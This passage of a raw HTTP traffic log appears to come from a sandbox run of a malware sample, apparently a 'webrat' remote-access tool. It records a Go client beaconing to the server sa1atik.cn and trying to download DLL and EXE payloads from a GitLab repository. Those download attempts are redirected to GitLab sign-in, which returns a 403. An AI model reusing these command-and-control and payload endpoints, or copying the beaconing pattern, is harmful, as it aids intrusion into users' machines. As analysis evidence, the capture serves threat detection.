sa1atik.cn User-Agent: Go-http-client/1.1 Content-Length: 62127 Content-Type: application/octet-stream Accept-Encoding: gzip" Response ==> HTTP/1.1 200 OK Server: Angie Date: Wed 23 Sep 2026 18:29:34 GMT Content-Type: application/octet-stream Transfer-Encoding: chunked Connection: keep-alive Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=nm1jLVKjVSOY7v67B3hRrg9cUwu7v2E9YvxlCmzzp9NcLPl0VbRlMoU0tdIlr1lfPWV70rObR5FkOQXFNOvM4uK6TWLF1NNhCPjq60rraeZA3%2BaGopp9nYVKrTUeHd20SAEavJXg9V%2BB"}]} CF-RAY: a3fb9d95dbd6cd5a-VIE alt-svc: h3=":443"; ma=86400 Alt-Svc: h3=":443"; ma=86400 with response body ==>31....... "GET /sa1at/ HTTP/1.1 Host: sa1atik.cn User-Agent: Go-http-client/1.1 Content-Length: 75 Content-Type: application/octet-stream Accept-Encoding: gzip" Response ==> HTTP/1.1 200 OK Server: Angie Date: Wed 23 Sep 2026 18:29:35 GMT Content-Type: application/octet-stream Transfer-Encoding: chunked Connection: keep-alive Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=o%2Bm9hbgMyD10SPkO0ORfds2I0SzJ510W4dZ0tPhtLJVGhADmXYmx65aaFRJDhRZy8Zxpbpy79lASx4ZO2%2BsnZUsN1PcLUhqw5WRU9JnG%2FyaQKxFsuiQpL6eW5K6X"}]} CF-RAY: a3fb9d9efc01845a-AMS alt-svc: h3=":443"; ma=86400 Alt-Svc: h3=":443"; ma=86400 with response body ==>C2ABC3B633C383C2A3C389C29DC383C2BFC39EC2ABC381C29622C39DC286C390C2A1C39FC290C381C2A8C39BC38F....... "GET /webrat1/importantfiles/-/raw/main/7z.dll HTTP/1.1 Host: gitlab.com Connection: Keep-Alive" Response ==> HTTP/1.1 302 Found Date: Wed 23 Sep 2026 18:29:42 GMT Content-Type: text/html; charset=utf-8 Content-Length: 98 Connection: keep-alive Location: https://gitlab.com/users/sign_in CF-Ray: a3fb9dccdfa62338-SJC CF-Cache-Status: BYPASS Cache-Control: no-cache Server: cloudflare Set-Cookie: _gitlab_session=cell-1-9c2959d6582d5613204dfdd8fa4358d5; path=/; secure; HttpOnly; SameSite=None Strict-Transport-Security: max-age=31536000 content-security-policy: base-uri 'self'; child-src https://www.google.com/recaptcha/ https://www.recaptcha.net/ https://www.googletagmanager.com/ns.html https://*.zuora.com/apps/PublicHostedPageLite.do https://gitlab.com/admin/ https://gitlab.com/assets/ https://gitlab.com/-/speedscope/index.html https://gitlab.com/-/sandbox/ 'self' https://gitlab.com/assets/ blob: data:; connect-src 'self' https://gitlab.com wss://gitlab.com https://sentry.gitlab.net https://new-sentry.gitlab.net https://customers.gitlab.com https://snowplow.trx.gitlab.net https://sourcegraph.com https://collector.prd-278964.gl-product-analytics.com https://analytics.gitlab.com snowplowprd.trx.gitlab.net; default-src 'self'; font-src 'self'; form-action 'self' https: http:; frame-ancestors 'self'; frame-src https://www.google.com/recaptcha/ https://www.recaptcha.net/ https://www.googletagmanager.com/ns.html https://*.zuora.com/apps/PublicHostedPageLite.do https://gitlab.com/admin/ https://gitlab.com/assets/ https://gitlab.com/-/speedscope/index.html https://gitlab.com/-/sandbox/; img-src 'self' data: blob: http: https:; manifest-src 'self'; media-src 'self' data: blob: http: https:; object-src 'none'; report-uri https://new-sentry.gitlab.net/api/4/security/?sentry_key=f5573e26de8f4293b285e556c35dfd6e&sentry_environment=gprd; script-src 'strict-dynamic' 'self' 'unsafe-inline' 'unsafe-eval' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.recaptcha.net/ https://apis.google.com https://*.zuora.com/apps/PublicHostedPageLite.do 'nonce-gl+9rw40FZJCPy1BUH/7Qw=='; style-src 'self' 'unsafe-inline'; worker-src 'self' https://gitlab.com/assets/ blob: data: gitlab-lb: haproxy-main-03-lb-gprd gitlab-sv: web-gke-us-east1-d nel: {"max_age": 0} permissions-policy: interest-cohort=() ratelimit-limit: 500 ratelimit-name: throttle_unauthenticated_web ratelimit-observed: 1 ratelimit-remaining: 499 ratelimit-reset: 1790188200 referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-gitlab-meta: {"correlation_id":"a3fb9dccdfa62338-SJC" "version":"1"} x-permitted-cross-domain-policies: none x-request-id: a3fb9dccdfa62338-SJC x-runtime: 0.061279 x-ua-compatible: IE=edge x-xss-protection: 1; mode=block with response body ==>3C68746D6C3E3C626F64793E596F7520617265206265696E67203C6120687265663D2268747470733A2F2F6769746C61622E636F6D2F75736572732F7369676E....... "GET /users/sign_in HTTP/1.1" Response ==> HTTP/1.1 403 Forbidden Date: Wed 23 Sep 2026 18:29:42 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 5333 Connection: close Accept-Ch: Sec-CH-UA-Bitness Sec-CH-UA-Arch Sec-CH-UA-Full-Version Sec-CH-UA-Mobile Sec-CH-UA-Model Sec-CH-UA-Platform-Version Sec-CH-UA-Full-Version-List Sec-CH-UA-Platform Sec-CH-UA UA-Bitness UA-Arch UA-Full-Version UA-Mobile UA-Model UA-Platform-Version UA-Platform UA Cf-Mitigated: challenge Content-Security-Policy: default-src 'none'; script-src 'nonce-BRKWgDlJ11Vm5TxKLygZyw' 'unsafe-eval' https://challenges.cloudflare.com; script-src-attr 'none'; style-src 'unsafe-inline'; img-src 'self' https://challenges.cloudflare.com; connect-src 'self' https://challenges.cloudflare.com; frame-src 'self' https://challenges.cloudflare.com blob:; child-src 'self' https://challenges.cloudflare.com blob:; worker-src blob:; form-action http: https:; base-uri 'self' Server: cloudflare Critical-Ch: Sec-CH-UA-Bitness Sec-CH-UA-Arch Sec-CH-UA-Full-Version Sec-CH-UA-Mobile Sec-CH-UA-Model Sec-CH-UA-Platform-Version Sec-CH-UA-Full-Version-List Sec-CH-UA-Platform Sec-CH-UA UA-Bitness UA-Arch UA-Full-Version UA-Mobile UA-Model UA-Platform-Version UA-Platform UA Cross-Origin-Embedder-Policy: require-corp Nel: {"report_to":"cf-nel" "success_fraction":0.01 "max_age":604800} Cross-Origin-Resource-Policy: same-origin Origin-Agent-Cluster: ?1 Permissions-Policy: accelerometer=() camera=() clipboard-read=() clipboard-write=() geolocation=() gyroscope=() hid=() magnetometer=() microphone=() payment=() publickey-credentials-get=() screen-wake-lock=() serial=() sync-xhr=() usb=() xr-spatial-tracking=* Referrer-Policy: same-origin Server-Timing: chlray;desc="a3fb9dce583c2338" X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=31536000 Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=rafuaPlmUhE%2BCdTP2CBrf6i4isOSu5rPZlbLU85Xlu%2BDBYPK1oKgv2Wl0yDFeioOGm8%2Bn4Bzv1GuxLyfuA2p4E5zoE5XX3zGFLb5qkROXThDm1vGUlbaKiRDe3w%3D"}]} Cache-Control: no-store private max-age=0 Cross-Origin-Opener-Policy: same-origin CF-RAY: a3fb9dce583c2338-SJC with response body ==>3C21444F43545950452068746D6C3E3C68746D6C206C616E673D22656E2D5553223E3C686561643E3C7469746C653E4A7573742061206D6F6D656E742E2E2E3C....... "GET /webrat1/importantfiles/-/raw/main/7z.exe HTTP/1.1" Response ==> HTTP/1.1 302 Found Date: Wed 23 Sep 2026 18:29:43 GMT Content-Type: text/html; charset=utf-8 Content-Length: 98 Connection: keep-alive Location: https://gitlab.com/users/sign_in CF-Ray: a3fb9dd2b91667a6-SJC CF-Cache-Status: BYPASS Cache-Control: no-cache Server: cloudflare Set-Cookie: _gitlab_session=cell-1-65f697c7cbb3063b04c72024f616b2f7; path=/; secure; HttpOnly; SameSite=None Strict-Transport-Security: max-age=31536000 content-security-policy: base-uri 'self'; child-src https://www.google.com/recaptcha/ https://www.recaptcha.net/ https://www.googletagmanager.com/ns.html https://*.zuora.com/apps/PublicHostedPageLite.do https://gitlab.com/admin/ https://gitlab.com/assets/ https://gitlab.com/-/speedscope/index.html https://gitlab.com/-/sandbox/ 'self' https://gitlab.com/assets/ blob: data:; connect-src 'self' https://gitlab.com wss://gitlab.com https://sentry.gitlab.net https://new-sentry.gitlab.net https://customers.gitlab.com https://snowplow.trx.gitlab.net https://sourcegraph.com https://collector.prd-278964.gl-product-analytics.com https://analytics.gitlab.com snowplowprd.trx.gitlab.net; default-src 'self'; font-src 'self'; form-action 'self' https: http:; frame-ancestors 'self'; frame-src https://www.google.com/recaptcha/ https://www.recaptcha.net/ https://www.googletagmanager.com/ns.html https://*.zuora.com/apps/PublicHostedPageLite.do https://gitlab.com/admin/ https://gitlab.com/assets/ https://gitlab.com/-/speedscope/index.html https://gitlab.com/-/sandbox/; img-src 'self' data: blob: http: https:; manifest-src 'self'; media-src 'self' data: blob: http: https:; object-src 'none'; report-uri https://new-sentry.gitlab.net/api/4/security/?sentry_key=f5573e26de8f4293b285e556c35dfd6e&sentry_environment=gprd; script-src 'strict-dynamic' 'self' 'unsafe-inline' 'unsafe-eval' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.recaptcha.net/ https://apis.google.com https://*.zuora.com/apps/PublicHostedPageLite.do 'nonce-3GX6eiH0Bnj+Juwzm+qtZA=='; style-src 'self' 'unsafe-inline'; worker-src 'self' https://gitlab.com/assets/ blob: data: gitlab-lb: haproxy-main-41-lb-gprd gitlab-sv: web-gke-us-east1-c nel: {"max_age": 0} permissions-policy: interest-cohort=() ratelimit-limit: 500 ratelimit-name: throttle_unauthenticated_web ratelimit-observed: 2 ratelimit-remaining: 498 ratelimit-reset: 1790188200 referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-gitlab-meta: {"correlation_id":"a3fb9dd2b91667a6-SJC" "version":"1"} x-permitted-cross-domain-policies: none x-request-id: a3fb9dd2b91667a6-SJC x-runtime: 0.061113 x-ua-compatible: IE=edge x-xss-protection: 1; mode=block with response body ==>3C68746D6C3E3C626F64793E596F7520617265206265696E67203C6120687265663D2268747470733A2F2F6769746C61622E636F6D2F75736572732F7369676E....... "GET /webrat1/importantfiles/-/raw/main/MSTSCLib.dll HTTP/1.1" Response ==> HTTP/1.1 302 Found Date: Wed 23 Sep 2026 18:29:44 GMT Content-Type: text/html; charset=utf-8 Content-Length: 98 Connection: keep-alive Location: https://gitlab.com/users/sign_in CF-Ray: a3fb9dd4aa64fa2a-SJC CF-Cache-Status: BYPASS Cache-Control: no-cache Server: cloudflare Set-Cookie: _gitlab_session=cell-1-01f176529fe9694f8bc2b75805b4239f; path=/; secure; HttpOnly; SameSite=None Strict-Transport-Security: max-age=31536000 content-security-policy: base-uri 'self'; child-src https://www.google.com/recaptcha/ https://www.recaptcha.net/ https://www.googletagmanager.com/ns.html https://*.zuora.com/apps/PublicHostedPageLite.do https://gitlab.com/admin/ https://gitlab.com/assets/ https://gitlab.com/-/speedscope/index.html https://gitlab.com/-/sandbox/ 'self' https://gitlab.com/assets/ blob: data:; connect-src 'self' https://gitlab.com wss://gitlab.com https://sentry.gitlab.net https://new-sentry.gitlab.net https://customers.gitlab.com https://snowplow.trx.gitlab.net https://sourcegraph.com https://collector.prd-278964.gl-product-analytics.com https://analytics.gitlab.com snowplowprd.trx.gitlab.net; default-src 'self'; font-src 'self'; form-action 'self' https: http:; frame-ancestors 'self'; frame-src https://www.google.com/recaptcha/ https://www.recaptcha.net/ https://www.googletagmanager.com/ns.html https://*.zuora.com/apps/PublicHostedPageLite.do https://gitlab.com/admin/ https://gitlab.com/assets/ https://gitlab.com/-/speedscope/index.html https://gitlab.com/-/sandbox/; img-src 'self' data: blob: http: https:; manifest-src 'self'; media-src 'self' data: blob: http: https:; object-src 'none'; report-uri https://new-sentry.gitlab.net/api/4/security/?sentry_key=f5573e26de8f4293b285e556c35dfd6e&sentry_environment=gprd; script-src 'strict-dynamic' 'self' 'unsafe-inline' 'unsafe-eval' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.recaptcha.net/ https://apis.google.com https://*.zuora.com/apps/PublicHostedPageLite.do 'nonce-UgCvmoS5+iYHwcTDZb+xfA=='; style-src 'self' 'unsafe-inline'; worker-src 'self' https://gitlab.com/assets/ blob: data: gitlab-lb: haproxy-main-21-lb-gprd gitlab-sv: web-gke-us-east1-d nel: {"max_age": 0} permissions-policy: interest-cohort=() ratelimit-limit: 500 ratelimit-name: throttle_unauthenticated_web ratelimit-observed: 3 ratelimit-remaining: 497 ratelimit-reset: 1790188200 referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-gitlab-meta: {"correlation_id":"a3fb9dd4aa64fa2a-SJC" "version":"1"} x-permitted-cross-domain-policies: none x-request-id: a3fb9dd4aa64fa2a-SJC x-runtime: 0.060679 x-ua-compatible: IE=edge x-xss-protection: 1; mode=block with response body ==>3C68746D6C3E3C626F64793E596F7520617265206265696E67203C6120687265663D2268747470733A2F2F6769746C61622E636F6D2F75736572732F7369676E....... "GET /webrat1/importantfiles/-/raw/main/AxMSTSCLib.dll HTTP/1.1" Response ==> HTTP/1.1 302 Found Date: Wed 23 Sep 2026 18:29:44 GMT Content-Type: text/html; charset=utf-8 Content-Length: 98 Connection: keep-alive Location: https://gitlab.com/users/sign_in CF-Ray: a3fb9dd93eff0d16-SJC CF-Cache-Status: BYPASS Cache-Control: no-cache Server: cloudflare Set-Cookie: _gitlab_session=cell-1-858db56db0a2570d7644851522589576; path=/; secure; HttpOnly; SameSite=None Strict-Transport-Security: max-age=31536000 content-security-policy: base-uri 'self'; child-src https://www.google.com/recaptcha/ https://www.recaptcha.net/ https://www.googletagmanager.com/ns.html https://*.zuora.com/apps/PublicHostedPageLite.do https://gitlab.com/admin/ https://gitlab.com/assets/ https://gitlab.com/-/speedscope/index.html https://gitlab.com/-/sandbox/ 'self' https://gitlab.com/assets/ blob: data:; connect-src 'self' https://gitlab.com wss://gitlab.com https://sentry.gitlab.net https://new-sentry.gitlab.net https://customers.gitlab.com https://snowplow.trx.gitlab.net https://sourcegraph.com https://collector.prd-278964.gl-product-analytics.com https://analytics.gitlab.com snowplowprd.trx.gitlab.net; default-src 'self'; font-src 'self'; form-action 'self' https: http:; frame-ancestors 'self'; frame-src https://www.google.com/recaptcha/ https://www.recaptcha.net/ https://www.googletagmanager.com/ns.html https://*.zuora.com/apps/PublicHostedPageLite.do https://gitlab.com/admin/ https://gitlab.com/assets/ https://gitlab.com/-/speedscope/index.html https://gitlab.com/-/sandbox/; img-src 'self' data: blob: http: https:; manifest-src 'self'; media-src 'self' data: blob: http: https:; object-src 'none'; report-uri https://new-sentry.gitlab.net/api/4/security/?sentry_key=f5573e26de8f4293b285e556c35dfd6e&sentry_environment=gprd; script-src 'strict-dynamic' 'self' 'unsafe-inline' 'unsafe-eval' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.recaptcha.net/ https://apis.google.com https://*.zuora.com/apps/PublicHostedPageLite.do 'nonce-9YENHD/BWsN9Fo/nDJc86w=='; style-src 'self' 'unsafe-inline'; worker-src 'self' https://gitlab.com/assets/ blob: data: gitlab-lb: haproxy-main-11-lb-gprd gitlab-sv: web-gke-us-east1-c nel: {"max_age": 0} permissions-policy: interest-cohort=() ratelimit-limit: 500 ratelimit-name: throttle_unauthenticated_web ratelimit-observed: 5 ratelimit-remaining: 495 ratelimit-reset: 1790188200 referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-gitlab-meta: {"correlation_id":"a3fb9dd93eff0d16-SJC" "version":"1"} x-permitted-cross-domain-policies: none x-request-id: a3fb9dd93eff0d16-SJC x-runtime: 0.053067 x-ua-compatible: IE=edge x-xss-protection: 1; mode=block with response body ==>3C68746D6C3E3C626F64793E596F7520617265206265696E67203C6120687265663D2268747470733A2F2F6769746C61622E636F6D2F75736572732F7369676E....... "GET /webrat1/importantfiles/-/raw/main/AxMSTSCLib.dll HTTP/1.1" Response ==> HTTP/1.1 302 Found Date: Wed 23 Sep 2026 18:29:44 GMT Content-Type: text/html; charset=utf-8 Content-Length: 98 Connection: keep-alive Location: https://gitlab.com/users/sign_in CF-Ray: a3fb9dda9a6349ec-SJC CF-Cache-Status: BYPASS Cache-Control: no-cache Server: cloudflare Set-Cookie: _gitlab_session=cell-1-a8f5e7c0a90feb170e4ffb8c41367ae1; path=/; secure; HttpOnly; SameSite=None Strict-Transport-Security: max-age=31536000 content-security-policy: base-uri 'self'; child-src https://www.google.com/recaptcha/ https://www.recaptcha.net/ https://www.googletagmanager.com/ns.html https://*.zuora.com/apps/PublicHostedPageLite.do https://gitlab.com/admin/ https://gitlab.com/assets/ https://gitlab.com/-/speedscope/index.html https://gitlab.com/-/sandbox/ 'self' https://gitlab.com/assets/ blob: data:; connect-src 'self' https://gitlab.com wss://gitlab.com https://sentry.gitlab.net https://new-sentry.gitlab.net https://customers.gitlab.com https://snowplow.trx.gitlab.net https://sourcegraph.com https://collector.prd-278964.gl-product-analytics.com https://analytics.gitlab.com snowplowprd.trx.gitlab.net; default-src 'self'; font-src 'self'; form-action 'self' https: http:; frame-ancestors 'self'; frame-src https://www.google.com/recaptcha/ https://www.recaptcha.net/ https://www.googletagmanager.com/ns.html https://*.zuora.com/apps/PublicHostedPageLite.do https://gitlab.com/admin/ https://gitlab.com/assets/ https://gitlab.com/-/speedscope/index.html https://gitlab.com/-/sandbox/; img-src 'self' data: blob: http: https:; manifest-src 'self'; media-src 'self' data: blob: http: https:; object-src 'none'; report-uri https://new-sentry.gitlab.net/api/4/security/?sentry_key=f5573e26de8f4293b285e556c35dfd6e&sentry_environment=gprd; script-src 'strict-dynamic' 'self' 'unsafe-inline' 'unsafe-eval' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.recaptcha.net/ https://apis.google.com https://*.zuora.com/apps/PublicHostedPageLite.do 'nonce-DYR/I9I00eZLfIiEdCeVZA=='; style-src 'self' 'unsafe-inline'; worker-src 'self' https://gitlab.com/assets/ blob: data: gitlab-lb: haproxy-main-52-lb-gprd gitlab-sv: web-gke-us-east1-b nel: {"max_age": 0} permissions-policy: interest-cohort=() ratelimit-limit: 500 ratelimit-name: throttle_unauthenticated_web ratelimit-observed: 6 ratelimit-remaining: 494 ratelimit-reset: 1790188200 referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-gitlab-meta: {"correlation_id":"a3fb9dda9a6349ec-SJC" "version":"1"} x-permitted-cross-domain-policies: none x-request-id: a3fb9dda9a6349ec-SJC x-runtime: 0.064825 x-ua-compatible: IE=edge x-xss-protection: 1; mode=block with response body ==>3C68746D6C3E3C626F64793E596F7520617265206265696E67203C6120687265663D2268747470733A2F2F6769746C61622E636F6D2F75736572732F7369676E....... "GET /webrat1/importantfiles/-/raw/main/ffmpeg.exe HTTP/1.1" Response ==> HTTP/1.1 302 Found Date: Wed 23 Sep 2026 18:29:45 GMT Content-Type: text/html; charset=utf-8 Content-Length: 98 Connection: keep-alive Location: https://gitlab.com/users/sign_in CF-Ray: a3fb9ddbf9d32db2-SJC CF-Cache-Status: BYPASS Cache-Control: no-cache Server: cloudflare Set-Cookie: _gitlab_session=cell-1-a82c73a1c27a5df82e758011fa59de55; path=/; secure; HttpOnly; SameSite=None Strict-Transport-Security: max-age=31536000 content-security-policy: base-uri 'self'; child-src https://www.google.com/recaptcha/ https://www.recaptcha.net/ https://www.googletagmanager.com/ns.html https://*.zuora.com/apps/PublicHostedPageLite.do https://gitlab.com/admin/ https://gitlab.com/assets/ https://gitlab.com/-/speedscope/index.html https://gitlab.com/-/sandbox/ 'self' https://gitlab.com/assets/ blob: data:; connect-src 'self' https://gitlab.com wss://gitlab.com https://sentry.gitlab.net https://new-sentry.gitlab.net https://customers.gitlab.com https://snowplow.trx.gitlab.net https://sourcegraph.com https://collector.prd-278964.gl-product-analytics.com https://analytics.gitlab.com snowplowprd.trx.gitlab.net; default-src 'self'; font-src 'self'; form-action 'self' https: http:; frame-ancestors 'self'; frame-src https://www.google.com/recaptcha/ https://www.recaptcha.net/ https://www.googletagmanager.com/ns.html https://*.zuora.com/apps/PublicHostedPageLite.do https://gitlab.com/admin/ https://gitlab.com/assets/ https://gitlab.com/-/speedscope/index.html https://gitlab.com/-/sandbox/; img-src 'self' data: blob: http: https:; manifest-src 'self'; media-src 'self' data: blob: http: https:; object-src 'none'; report-uri https://new-sentry.gitlab.net/api/4/security/?sentry_key=f5573e26de8f4293b285e556c35dfd6e&sentry_environment=gprd; script-src 'strict-dynamic' 'self' 'unsafe-inline' 'unsafe-eval' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.recaptcha.net/ https://apis.google.com https://*.zuora.com/apps/PublicHostedPageLite.do 'nonce-dmywMq6zxo3b10ziaGYS0g=='; style-src 'self' 'unsafe-inline'; worker-src 'self' https://gitlab.com/assets/ blob: data: gitlab-lb: haproxy-main-09-lb-gprd gitlab-sv: web-gke-us-east1-d nel: {"max_age": 0} permissions-policy: interest-cohort=() ratelimit-limit: 500 ratelimit-name: throttle_unauthenticated_web ratelimit-observed: 7 ratelimit-remaining: 493 ratelimit-reset: 1790188200 referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-gitlab-meta: {"correlation_id":"a3fb9ddbf9d32db2-SJC" "version":"1"} x-permitted-cross-domain-policies: none x-request-id: a3fb9ddbf9d32db2-SJC x-runtime: 0.084791 x-ua-compatible: IE=edge x-xss-protection: 1; mode=block with response body ==>3C68746D6C3E3C626F64793E596F7520617265206265696E67203C6120687265663D2268747470733A2F2F6769746C61622E636F6D2F75736572732F7369676E....... "GET /webrat1/importantfiles/-/raw/main/ffmpeg.exe HTTP/1.1" Response ==> HTTP/1.1 302 Found Date: Wed 23 Sep 2026 18:29:45 GMT Content-Type: text/html; charset=utf-8 Content-Length: 98 Connection: keep-alive Location: https://gitlab.com/users/sign_in CF-Ray: a3fb9dddcb94b8e7-SJC CF-Cache-Status: BYPASS Cache-Control: no-cache Server: cloudflare Set-Cookie: _gitlab_session=cell-1-823b058411823d449dc43cea8972a191; path=/; secure; HttpOnly; SameSite=None Strict-Transport-Security: max-age=31536000 content-security-policy: base-uri 'self'; child-src https://www.google.com/recaptcha/ https://www.recaptcha.net/ https://www.googletagmanager.com/ns.html https://*.zuora.com/apps/PublicHostedPageLite.do https://gitlab.com/admin/ https://gitlab.com/assets/ https://gitlab.com/-/speedscope/index.html https://gitlab.com/-/sandbox/ 'self' https://gitlab.com/assets/ blob: data:; connect-src 'self' https://gitlab.com wss://gitlab.com https://sentry.gitlab.net https://new-sentry.gitlab.net https://customers.gitlab.com https://snowplow.trx.gitlab.net https://sourcegraph.com https://collector.prd-278964.gl-product-analytics.com https://analytics.gitlab.com snowplowprd.trx.gitlab.net; default-src 'self'; font-src 'self'; form-action 'self' https: http:; frame-ancestors 'self'; frame-src https://www.google.com/recaptcha/ https://www.recaptcha.net/ https://www.googletagmanager.com/ns.html https://*.zuora.com/apps/PublicHostedPageLite.do https://gitlab.com/admin/ https://gitlab.com/assets/ https://gitlab.com/-/speedscope/index.html https://gitlab.com/-/sandbox/; img-src 'self' data: blob: http: https:; manifest-src 'self'; media-src 'self' data: blob: http: https:; object-src 'none'; report-uri https://new-sentry.gitlab.net/api/4/security/?sentry_key=f5573e26de8f4293b285e556c35dfd6e&sentry_environment=gprd; script-src 'strict-dynamic' 'self' 'unsafe-inline' 'unsafe-eval' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.recaptcha.net/ https://apis.google.com https://*.zuora.com/apps/PublicHostedPageLite.do 'nonce-kg6Z7TfDd+ICOH+FzNP6yQ=='; style-src 'self' 'unsafe-inline'; worker-src 'self' https://gitlab.com/assets/ blob: data: gitlab-lb: haproxy-main-53-lb-gprd gitlab-sv: web-gke-us-east1-c nel: {"max_age": 0} permissions-policy: interest-cohort=() ratelimit-limit: 500 ratelimit-name: throttle_unauthenticated_web ratelimit-observed: 8 ratelimit-remaining: 492 ratelimit-reset: 1790188200 referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-gitlab-meta: {"correlation_id":"a3fb9dddcb94b8e7-SJC" "version":"1"} x-permitted-cross-domain-policies: none x-request-id: a3fb9dddcb94b8e7-SJC x-runtime: 0.058848 x-ua-compatible: IE=edge x-xss-protection: 1; mode=block with response body ==>3C68746D6C3E3C626F64793E596F7520617265206265696E67203C6120687265663D2268747470733A2F2F6769746C61622E636F6D2F75736572732F7369676E....... "GET /sa1at/ HTTP/1.1 Host: sa1atik.cn User-Agent: Go-http-client/1.1 Content-Length: 75 Content-Type: application/octet-stream Accept-Encoding: gzip" Response ==> HTTP/1.1 200 OK Server: Angie Date: Wed 23 Sep 2026 18:29:48 GMT Content-Type: application/octet-stream Transfer-Encoding: chunked Connection: keep-alive Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=v589YWsOfWleqgYHPYZBpk1XGy%2FLlmn6sI21MyRuWoPHai8oA%2FoLzKf%2B%2F91RFlTZhGViHMXKg2nbawuoD5g6qyXstY0lLI9FASPN6iN2jVchB9vBLIuc28ja7Y8zPzQr6QzBbVNQyfKd"}]} CF-RAY: a3fb9df12f165b13-VIE alt-svc: h3=":443"; ma=86400 Alt-Svc: h3=":443"; ma=86400 with response body ==>C2ABC3B633C383C2A3C389C29DC383C2BFC39EC2ABC381C29622C398C281C399C2AAC39FC290C381C2A8C39BC38F....... "GET /sa1at/ HTTP/1.1 Host: sa1atik.cn User-Agent: Go-http-client/1.1 Content-Length: 75 Content-Type: application/octet-stream Accept-Encoding: gzip" Response ==> HTTP/1.1 200 OK Server: Angie Date: Wed 23 Sep 2026 18:29:57 GMT Content-Type: application/octet-stream Transfer-Encoding: chunked Connection: keep-alive Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=KKLjTRpNxOM9Cknqrhsz5Y9H4Zu65ak7%2F0erOjApCdkppNVU94orQ0BLH1Uu2oLFqZ5ZFt4CNyms8gmM6NxddTfdMagGaM1GKPcMnjXt7uHlNTxjWFUTBUN8XdwnlOjKGapzQ8113Gxf"}]} CF-RAY: a3fb9e287fead8dc-VIE alt-svc: h3=":443"; ma=86400 Alt-Svc: h3=":443"; ma=86400 with response body ==>C2ABC3B633C383C2A3C389C29DC383C2BFC39EC2ABC381C29622C399C287C396C2A2C39FC290C381C2A8C39BC38F....... "GET /sa1at/ HTTP/1.1 Host: sa1atik.cn User-Agent: Go-http-client/1.1 Content-Length: 75 Content-Type: application/octet-stream Accept-Encoding: gzip" Response ==> HTTP/1.1 200 OK Server: Angie Date: Wed 23 Sep 2026 18:30:06 GMT Content-Type: application/octet-stream Transfer-Encoding: chunked Connection: keep-alive Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=n7SNB75Mc8nNRNzvpQg%2FmPEMtlajFv70cdQHfTBdMKv1co3fVgXMljSN4wm6rH8e%2F%2FSlkb%2F5Y48yDUE6I1WQEEdvg0vN%2BwPe6c3Ko8LzNe8aA1ZNGcIz2rREZG5c"}]} CF-RAY: a3fb9e5f6c9fe568-AMS alt-svc: h3=":443"; ma=86400 Alt-Svc: h3=":443"; ma=86400 with response body ==>C2ABC3B633C383C2A3C389C29DC383C2BFC39EC2ABC381C2962DC390C287C390C2A2C39FC290C381C2A8C39BC38F....... "GET /sa1at/ HTTP/1.1 Host: sa1atik.cn User-Agent: Go-http-client/1.1 Content-Length: 75 Content-Type: application/octet-stream Accept-Encoding: gzip" Response ==> HTTP/1.1 200 OK Server: Angie Date: Wed 23 Sep 2026 18:30:14 GMT Content-Type: application/octet-stream Transfer-Encoding: chunked Connection: keep-alive Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=RkLV5ZnpVVYHqnVKoKwbZk1OMHZK6Z3Z1lZFXP4IP5NMdtEHCImnrnitpqIa7ebQh1Wq73OwyT4RX7%2F2jPurrZ2cGjsh7nzfHfKjmRwz3vjt0J7au0NF4FPxvWyWgz5sWqs5MehNxAGk"}]} CF-RAY: a3fb9e944fd283f0-VIE alt-svc: h3=":443"; ma=86400 Alt-Svc: h3=":443"; ma=86400 with response body ==>C2ABC3B633C383C2A3C389C29DC383C2BFC39EC2ABC381C2962DC395C281C393C2A2C39FC290C381C2A8C39BC38F....... "GET /sa1at/ HTTP/1.1 Host: sa1atik.cn User-Agent: Go-http-client/1.1 Content-Length: 75 Content-Type: application/octet-stream Accept-Encoding: gzip" Response ==> HTTP/1.1 200 OK Server: Angie Date: Wed 23 Sep 2026 18:30:22 GMT Content-Type: application/octet-stream Transfer-Encoding: chunked Connection: keep-alive Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} 